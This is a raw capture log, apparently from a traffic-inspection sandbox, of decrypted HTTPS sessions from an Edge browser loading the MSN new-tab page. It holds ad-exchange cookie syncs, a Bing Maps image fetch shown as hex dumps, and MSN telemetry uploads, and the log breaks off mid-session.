2025-01-08 15:18:56 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4099351937A440238FF5D6A611B6B50F Ref B: CHI30EDGE0120 Ref C: 2025-01-08T15:18:56Z Date: Wed, 08 Jan 2025 15:18:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	57090	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:56 UTC	652	OUT	GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:56 UTC	1429	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: f1e05eef-b830-448c-aacd-4bcfc23a646f Set-Cookie: XANDR_PANID=h-Hl5mh7dBKhIkZNaGkR2gcTB2vYQ491nSADiuPL6lQzZv4qizrF8Q1x9TVcFD4s0CN7fQNdyBIKGyM6gUUQaBR2VVGmImDLdCn9r4oNMbM.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:56 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4769864383574566438; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	60546	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:57 UTC	678	OUT	GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:57 UTC	1184	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:57 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 165d3fda-fddc-4e98-af32-f2912e062699 Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?er`-F+!]tbPl1N!y*v_#NUa+OUVz?o(Q7=Cp_e3DLQn#c1SkT4HSjM[7Q9[NJVB(KtJme..<QG=%9sk@3@'s>T[69y3; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:57 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:57 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2025-01-08 15:18:57 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	64358	23.62.140.168	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:57 UTC	839	OUT	GET /REST/v1/Imagery/Map/RoadVibrant/41.8979,-87.6594/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AoyTpSR4rZ82ACunlVljE1ihA5yanCDx6D-acnj31k3Qp4hmUjE-uBGXnMPa1L94&c=en-us&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=41.897913,-87.659369;cls.f HTTP/1.1 Host: ecn-us.dev.virtualearth.net Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:57 UTC	531	IN	HTTP/1.1 200 OK Content-Type: image/png Server: Kestrel Access-Control-Allow-Headers: Content-Type,X-FD-Features,X-FD-FLIGHT,PreferAnonymous Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Origin: * X-BM-TraceID: 1c2d030fa3df898842b2a6b5a62b9cd6 X-BM-Srv: mapsplatform-frontend-78964f8bcc-tzsxr, mapsplatform-imagery-service-c95d7c9f5-g8rst X-MS-BM-WS-INFO: 0 X-BM-FE-Elapsed: 312 Content-Length: 123422 Cache-Control: public, max-age=302 Date: Wed, 08 Jan 2025 15:18:57 GMT Connection: close
2025-01-08 15:18:57 UTC	15853	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0a 00 00 00 c0 08 02 00 00 00 73 ad ba f8 00 00 20 00 49 44 41 54 78 01 74 bc 07 b4 64 65 99 2e dc e3 dc ff bf 73 67 c6 6b ce 8e 11 04 49 2a 48 52 64 48 82 80 3a 66 d4 31 80 a0 d2 d0 d0 c4 ee 46 32 a2 48 90 28 4a 94 4c e7 9c 0e 9d bb 4f 87 93 cf a9 5c b5 ab 76 aa bc 6b e7 f0 e5 bd f7 fb af 7d ca eb 7f d7 9a 7b d7 fa d6 59 bb c2 aa 55 e7 9c ef f9 de f7 09 ef 5e b0 da 9a 59 e9 cd 6c c1 f9 6d 38 b7 83 57 de 62 c5 2d 51 6e a7 28 8f 82 b6 17 a4 71 e8 8e 43 7b 1c ba 47 a0 39 07 76 09 bc 12 04 53 d0 2b 81 5f 06 bb 0e 66 13 ac 16 74 da a0 b4 20 f7 bb c3 f7 1d b7 f1 3b 9f c8 ff e2 bf 8d 7e fb 23 f9 ab bf 65 ff f9 13 23 d7 7e f4 e0 d2 1f ba 6b 46 a0 9b 87 9e 06 ee fe c1 84 06 46 15 f4 09 27 af 40 a7 10 d6 4b Data Ascii: PNGIHDRs IDATxtde.sgkI*HRdH:f1F2H(JLO\vk}{YU^Ylm8Wb-Qn(qC{G9vS+_ft ;~#e#~kFF'@K
2025-01-08 15:18:57 UTC	8723	IN	Data Raw: fa c1 a3 97 77 df ff ed 9e 07 77 9b f3 83 89 05 5c 1b 65 87 15 9d 07 d7 6d 5a f2 f7 ff b0 64 c9 7f fb bb 25 4b 9e 7b e6 59 0f 80 97 25 5e ac b9 9e 09 80 90 65 a8 36 f0 01 74 c6 d4 ae 8c df 3c 2f 1c 2f 5a 0c a7 32 a5 82 2c 8b e1 42 30 f4 3f 7c a3 d6 f6 3c c7 30 b4 70 d4 1b 8a b7 6d db d2 0d d9 f1 4d bc d4 d3 9d c0 c2 3b 47 5d 35 ca 5c 35 59 ab 12 0e 0c 96 ec 2f 66 94 af 16 83 8e 04 b4 cd 8b 23 e9 8a 80 51 1c be a5 8a 62 ad a8 f1 95 f8 dc 44 bd 90 76 54 5c 1b 60 71 60 d4 3c bd 0a 36 ef e9 55 26 3b 17 96 07 28 75 11 94 bf 3a 93 a7 f5 ae ff 33 b7 f7 8f cc 67 27 77 ac 7e d3 9a e4 00 15 88 0c cf d7 35 4d c1 97 61 c7 b4 54 b1 94 49 01 a7 83 88 5c 0b a9 9e ae 62 4b ae 56 03 29 03 dc db c5 9e 73 f7 af fa f1 f8 33 37 68 07 6f af 1f 3c af f7 d9 b3 da 37 6f d3 26 e6 Data Ascii: ww\emZd%K{Y%^e6t<//Z2,B0?\|<0pmM;G]5\5Y/f#QbDvT\`q`<6U&;(u:3g'w~5MaTI\bKV)s37ho<7o&
2025-01-08 15:18:57 UTC	16384	IN	Data Raw: 51 1e d4 0b a7 b7 9d 30 b1 e9 05 98 b9 78 ff 9a 5b 5a 5f 8a 81 39 57 25 cc c6 e0 c8 6f a4 76 d8 b6 15 b6 e3 5f d3 22 88 ec 37 0e e9 f0 7a 80 27 95 b8 54 1d 2a 47 b8 2e 3e 19 73 85 bc e6 e1 1c 8f 52 87 56 d4 00 00 20 00 49 44 41 54 14 91 a6 0b 04 4d 64 0a 04 ce 85 60 d2 49 ae 40 45 8f 1f 6b 48 dc 8c 85 63 e3 e3 93 7d 09 31 13 03 71 2d b5 f7 94 81 f5 ff d4 bb f2 3e 74 70 15 f4 fc a8 7b d5 0f 5b 1e 5b c3 b6 0f 01 5b c7 39 93 fa 0c 28 97 ed 5d 73 f9 97 ab ba 80 7f 0d 22 e7 36 6f 68 9a db 15 01 6c 5a 30 2d c5 04 94 a0 d3 46 63 f4 59 ca 91 98 2c 0a 4e 81 ce 21 5d d1 65 c9 35 9d 52 a9 a4 59 a6 16 98 47 8e f7 8f a4 c7 7b 12 03 83 e4 64 67 7c a0 37 3b d1 9b 3c 76 74 71 2a 5a aa 50 82 48 89 d5 0c 14 5f cf fd 6d e7 cc cb 70 fc bd 91 ab 7f f2 d5 39 67 eb 0b 03 97 f5 Data Ascii: Q0x[Z_9W%ov_"7z'TG.>sRV IDATMd`I@EkHc}1q->tp{[[[9(]s"6ohlZ0-FcY,N!]e5RYG{dg\|7;<vtqZPH_mp9g
2025-01-08 15:18:57 UTC	8192	IN	Data Raw: b9 6d c5 f7 d6 1f b0 81 e4 08 7b fc e3 06 7a b2 4d f5 b4 26 03 8d d1 74 0f 0d 0e 15 b2 c0 49 9a 98 8f 02 6d 86 f4 6d 35 e5 d7 77 57 6d 03 e3 b2 91 5d 57 d4 bd b9 5d e8 37 02 7c 17 f1 9d f4 c6 ea 27 a2 04 8d c2 67 3a 05 8a 98 67 40 22 f2 88 70 29 09 32 c9 6a 71 8a c1 5d 9b d4 cd 00 00 20 00 49 44 41 54 e2 18 2b e7 f2 20 0a 22 29 30 24 ea 9e 17 65 8e a0 d2 d1 38 72 a3 6a 2a 43 67 75 a4 6a 93 04 99 10 15 5a 51 05 bb dd ca b2 74 41 bd 57 a0 a2 14 f8 d6 aa 2a 07 02 3e 86 a1 0a 18 58 d4 9c a8 b1 20 c5 34 21 e9 c6 a9 1a 73 ba d1 0f 9f 4f a8 5f 8c 53 c3 2c 64 00 12 34 13 09 60 40 b1 b3 7d c0 aa c0 53 b2 c6 23 38 03 c7 14 b8 1c 6e b7 13 b5 25 cf 36 69 15 70 8f 85 ce 93 02 3b 78 56 88 28 43 5e c1 82 5e 81 a7 11 36 5b 46 fa 01 51 16 ec 1e 87 1f 0f 04 a3 21 7b c0 cb Data Ascii: m{zM&tImm5wWm]W]7\|'g:g@"p)2jq] IDAT+ ")0$e8rjCgujZQtAW>X 4!sO_S,d4`@}S#8n%6ip;xV(C^^6[FQ!{
2025-01-08 15:18:57 UTC	16384	IN	Data Raw: a6 67 69 29 99 e4 a3 db ca 36 37 b7 36 fc 35 17 54 43 93 cd 18 8e 69 aa 88 32 3f 39 2a 1c 42 d9 b6 c5 bb 87 a4 c8 5a 61 7b 0f e1 61 59 d1 54 fd 1f 2e 8f bf 2f ae fe 5e 73 25 ab 82 66 c8 c1 90 4f 52 90 25 5f 90 58 22 1a 52 35 c4 38 0d a3 04 20 24 81 96 25 2e 1c f2 2b 32 9f 36 a9 7f 54 5c 09 c0 82 c4 68 78 e6 c5 76 00 00 20 00 49 44 41 54 aa 80 3a e2 05 77 bf 26 72 28 c1 a1 28 1c 32 55 c5 94 35 53 32 50 8d 65 81 0e 68 b2 a0 a0 ad 57 06 43 30 68 49 48 20 ba 9d e6 83 ec 19 36 f1 b6 9f f9 c6 01 83 1b 02 27 66 5c 7c f8 cf 2d 7f 3e eb 7e 26 e2 98 09 ae 6b 0d fb 4d 30 75 27 b8 1e e8 ff 78 fe 8a 79 3f 9f 79 eb 6f f7 57 3c 7c ea 9d e7 cf 7e b9 e3 f3 8f 9e fd f2 a3 47 8e 94 2f 7f 78 ce 6d ab ae fb e5 c5 37 67 d3 f6 95 e0 bb 13 5c 37 1a ce ab c5 c9 3b 12 fd 65 14 4c Data Ascii: gi)6765TCi2?9*BZa{aYT./^s%fOR%_X"R58 $%.+26T\hxv IDAT:w&r((2U5S2PehWC0hIH 6'f\\|->~&kM0u'xy?yoW<\|~G/xm7g\7;eL
2025-01-08 15:18:57 UTC	8192	IN	Data Raw: e7 76 ac 2d 85 b6 3b ab 8a de 31 ff 3c 9d 0b 98 9c 1e ac 6f 78 4c d0 94 04 9b 21 e3 61 7f 84 f0 05 03 2e c2 e7 25 fc fe 08 e1 f4 bb 83 c9 c8 c4 f4 14 6f c8 a2 2e 5b 3c 76 41 93 38 45 98 b2 4d 86 c3 24 81 15 52 94 43 3e 2f 1e 08 92 13 49 6c 1c f8 c7 5b 3f ba a9 b6 fc 5d b0 5e dc b5 79 51 cf 6e 0f c8 8e 88 57 40 18 4f 25 4c 04 d1 06 25 ab ba 28 22 fd 88 84 c8 fa 54 24 9a 8d 48 81 8f 87 00 00 20 00 49 44 41 54 25 73 b2 ac 8b 72 08 47 c4 2e 05 85 a1 89 39 d0 50 30 88 c4 22 16 32 9f 45 27 1c 89 b3 4e 4e e0 98 17 0b f8 46 86 fb 23 91 90 db 63 c7 30 ff f8 e4 88 3b e4 c3 d3 21 b3 d7 9e 45 4a 95 9c 88 fa 5d 18 da 88 34 45 c9 a1 89 3e 4a cb 46 63 41 b7 a4 32 9a ce 53 74 b2 79 a8 fb a4 7b e8 84 b5 b7 af ab 73 ac a7 b7 69 b8 bb 79 6a a0 6b a0 07 0f 62 69 89 91 73 2a Data Ascii: v-;1<oxL!a.%o.[<vA8EM$RC>/Il[?]^yQnW@O%L%("T$H IDAT%srG.9P0"2E'NNF#c0;!EJ]4E>JFcA2Sty{siyjkbis*
2025-01-08 15:18:57 UTC	16384	IN	Data Raw: 17 47 f7 0f 93 cd 4d c1 c9 14 a8 2b 37 af bd fe c6 59 43 83 3d ed 9d 6d 2f bf fe ca 8a 97 9e 13 54 b1 6f b8 ff 8c 33 ff 90 03 23 4d a5 06 87 07 6e 5b 30 1f c0 18 1c ec 5f b8 f0 76 00 e3 f4 e9 53 b7 cf 9d 77 fc a7 23 9f ec da 73 de 05 17 92 f1 b8 2c 4a 67 9d 75 56 d9 8e ad eb 36 97 fd ed 9c b3 ff f5 af 7f 81 0e 74 38 be e0 d6 79 d7 cc 9c 75 f5 ac 99 33 67 5c fd d8 bd f7 09 7c 36 0b da a1 de ba c7 5e 7b e6 c3 82 c1 f2 8a 00 00 20 00 49 44 41 54 2f 3e f2 d9 a7 52 c0 9c 00 72 61 db 7b 5f d2 03 53 c0 8d 02 5d 0b c1 59 47 56 dd d3 f5 e1 17 cc a8 19 54 27 28 51 a4 ab 65 51 30 a2 9a 43 41 95 aa 12 e6 19 3e 9f f8 c1 20 e3 31 52 a0 0a d9 b4 0c 0a 8d 06 cc 12 4e 93 f9 f8 38 8e 02 9e 01 21 ae 67 19 90 18 50 a3 46 26 aa d3 0c c8 79 94 26 3f ea 18 8d 8a 89 18 ea e2 04 Data Ascii: GM+7YC=m/To3#Mn[0_vSw#s,JguV6t8yu3g\\|6^{ IDAT/>Rra{_S]YGVT'(QeQ0CA> 1RN8!gPF&y&?
2025-01-08 15:18:57 UTC	8192	IN	Data Raw: 19 18 4d e8 9d 06 74 03 94 c5 d9 dd 0e 7e 7b 07 7c 3b e3 d8 e3 cf b7 2d 6e 82 5e 2b 8c d8 a1 db 0e 4d 56 b6 32 68 74 ba c5 4e 27 38 9b 00 2f 03 6f 23 24 7a 91 d9 95 3a 04 ea 00 c8 3d 20 34 40 b2 01 cd 0f f3 8d 10 60 40 66 58 6a c1 f2 f9 53 1e be ff 1f af fe f3 89 7f 3e b9 6d cf 76 05 b4 b4 c2 0b 19 e5 c1 c7 1f 51 00 d0 3a 34 f4 ef 7e f9 f9 d3 dd 5f 12 d1 c8 4b 6f bd 6e b2 e9 64 59 fc fe fb 03 5f 7c f1 f9 58 0b c7 ec e9 37 35 35 3c fa e8 c3 cf 3d f7 8f 59 b3 9e 78 ee b9 7f 38 2d 18 db 54 08 00 00 20 00 49 44 41 54 c3 90 4a 65 34 31 0c da 90 1a 13 32 4a 75 65 d5 aa 82 02 5a 96 50 69 ae aa b2 89 fe 9a a3 9e e6 6c bb d9 02 13 45 9e e3 d0 50 a2 28 f2 3c cf 4a 12 f2 fc 44 e9 16 92 0e 10 58 43 11 34 45 97 0c 10 b3 12 29 2a 17 12 83 83 10 be ab 64 f5 6d 43 5b e6 Data Ascii: Mt~{\|;-n^+MV2htN'8/o#$z:= 4@`@fXjS>mvQ:4~_KondY_\|X755<=Yx8-T IDATJe412JueZPilEP(<JDXC4E)*dmC[
2025-01-08 15:18:57 UTC	16384	IN	Data Raw: e9 78 82 68 fd 6d e1 e4 83 d9 13 bf c9 1e 7f 20 77 e2 37 85 e3 ab 63 9f dc 1a 78 7f 6d f4 e3 15 c1 0f 6e 8a 1f be 32 f2 fe c5 ce 7d bf b6 ed bd 66 76 f7 2a f3 7b cb 0c 07 6e d4 34 5f d7 51 d1 0d c9 ef 5c c3 25 e7 95 dc be 6e d5 8f 7e f0 ef ff 7d c9 cf 1f fa fd a3 fb df 3d d0 dd d5 31 39 34 90 c6 53 41 60 aa 26 bf 7a ec 74 dd 8a be ea f3 a6 b6 97 e8 37 7f cf 54 59 a2 7f fb df 8d e5 e7 e9 b7 fe 7c 7c eb f5 a3 95 37 f6 6c 5f 31 b2 f3 b2 9e 8a ab 55 bb 2e 1b af bb 78 a0 6a 99 aa 69 d9 d0 ae ab 3b 2b af eb ad be a6 a7 f3 47 d1 0e 00 00 20 00 49 44 41 54 ea 96 fe 1d ab da 2a ef ed da 79 6f 47 ed ed 27 cb ee e9 ac 5d 75 ba ec ee a1 c6 95 5d d5 b7 76 54 ac 1f ac bf e5 e4 b6 7b 7a 77 dd d7 df 70 67 6f dd ca b3 15 f7 0e 35 3d aa da 7f c9 e9 57 7f 30 ff d6 79 8e ed Data Ascii: xhm w7cxmn2}fv{n4_Q\%n~}=194SA`&zt7TY\|\|7l_1U.xji;+G IDATyoG']u]vT{zwpgo5=W0y
2025-01-08 15:18:57 UTC	8192	IN	Data Raw: a4 b6 93 37 53 79 a7 98 d7 92 89 09 9a 1e 17 b3 a9 42 26 5d 8c 8f 5b a5 bc 03 2e e3 94 c9 f2 08 f4 8a a5 56 63 63 83 c5 1c cf 33 49 81 4d f1 5c 5a e0 e9 7c 4e 60 e8 24 cb a5 d1 40 15 fd 2c 39 8e e9 ed 3d cc 72 69 96 4b 09 4c 9a f4 c8 58 96 e2 d8 34 4f a4 dd cb a5 02 2d 67 07 41 c6 e5 f1 22 8c 1d 7d a8 79 4e d7 e3 63 50 ce 64 04 fc 09 14 45 66 9e b0 c0 c0 cb 1a 87 9c 34 4d c1 be 24 ba e0 62 7c c0 5d 1f b7 b4 06 23 0b fd 01 91 e3 88 63 1e 0d b6 36 62 f9 08 44 da b6 f9 85 96 a2 c4 a9 cc 21 25 a6 ec e8 69 70 ce e9 78 f8 b4 3d 8b 0f 83 b4 de 8b 9d bc 6f c1 35 f4 6b 35 d0 a0 52 25 9a 27 72 f9 51 e0 07 00 00 20 00 49 44 41 54 de 92 8b 3c 13 77 b5 52 48 10 c0 3a 58 55 70 15 b0 ea 5c 7c c8 23 7a 40 72 68 54 89 5a b7 a7 13 fc ca 94 5c a5 2c 15 c5 54 6c cc d2 54 43 Data Ascii: 7SyB&][.Vcc3IM\Z\|N`$@,9=riKLX4O-gA"}yNcPdEf4M$b\|]#c6bD!%ipx=o5k5R%'rQ IDAT<wRH:XUp\\|#z@rhTZ\,TlTC

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49981	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:57 UTC	1023	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349531171&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 15969 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:57 UTC	15969	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 35 31 2e 31 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-08T15:18:51.169Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"locale
2025-01-08 15:18:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6f17c9ecb9b3490ba25799b8cff827fa&HASH=6f17&LV=202501&V=4&LU=1736349537490; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=10eb3f723b614d4fa1d3df9c5f0e7f94; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 6319 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	62732	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:57 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349531619&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9359 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:57 UTC	9359	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 35 31 2e 36 31 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: 